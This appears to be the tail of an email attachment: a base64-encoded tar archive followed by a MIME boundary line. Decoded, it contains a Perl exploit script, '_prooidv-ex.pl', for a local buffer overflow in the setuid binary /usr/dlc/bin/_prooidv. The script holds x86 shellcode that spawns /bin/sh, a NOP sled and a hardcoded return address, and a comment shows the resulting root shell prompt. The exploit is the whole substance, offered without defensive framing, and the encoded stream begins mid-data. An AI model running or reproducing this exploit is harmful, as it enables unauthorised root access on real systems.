YnVmZmVyIC49JHNoZWxsOwoKZm9yKCRpID0gMDsgJGkgPCAkbnVtcmV0ejsgJGkrKykKewoJ JGJ1ZmZlci49IHBhY2soJ2wnLCAoJGVpcCArICRvZmYpKTsKfQoKcHJpbnQgJGJ1ZmZlcgoK CgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAHdvcmtpbmcvX3Byb29pZHYtZXgucGwAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAwMTAwNzU1ADAwMDAwMDAAMDAwMDAwMAAwMDAwMDAwMTIxNwAwNzEyMDQxNzE0NAAwMTQw MzEAIDAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAdXN0 YXIgIAByb290AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHJvb3QAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIyEvdXNyL2Jpbi9wZXJsCiMK IwojIGh0dHA6Ly93d3cuc25vc29mdC5jb20gLSBtYWlsdG86Ly9kb3RzbGFzaEBzbm9zb2Z0 LmNvbQojCiMgL3Vzci9kbGMvYmluL19wcm9vaWR2IGAuL19wcm9vaWR2LWV4LnBsYAojIHNo LTIuMDUjCgokZWlwPTB4NjZiZmZmZTM7CiRvZmYgPSAiMCI7CiRzaXplPSA2MTk4OwoKJHNo ZWxsID0gCgogICAiXHgzMVx4YzBceDMxXHhkYlx4YjBceDE3XHhjZFx4ODAiLgogICAiXHhl Ylx4MWZceDVlXHg4OVx4NzZceDA4XHgzMVx4YzBceDg4XHg0Nlx4MDdceDg5XHg0Nlx4MGNc eGIwXHgwYiIuCiAgICJceDg5XHhmM1x4OGRceDRlXHgwOFx4OGRceDU2XHgwY1x4Y2RceDgw XHgzMVx4ZGJceDg5XHhkOFx4NDBceGNkIi4KICAgIlx4ODBceGU4XHhkY1x4ZmZceGZmXHhm Zi9iaW4vc2giOwoKJG51bXJldHogPSAoKCRzaXplICAtICRzaGVsbCkvMikvNCA7CiRudW1u b3B6ID0gKCRzaXplICAtICRzaGVsbCkvMiA7Cgpmb3IoJGkgPSAwOyAkaSA8ICRudW1ub3B6 OyAkaSsrKQp7CgkkYnVmZmVyLj0gcGFjaygnbCcsIDB4OTApOwp9CgokYnVmZmVyIC49JHNo ZWxsOwoKZm9yKCRpID0gMDsgJGkgPCAkbnVtcmV0ejsgJGkrKykKewoJJGJ1ZmZlci49IHBh Y2soJ2wnLCAoJGVpcCArICRvZmYpKTsKfQoKcHJpbnQgJGJ1ZmZlcgoKCgAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA --------------070304090004080501000605--
|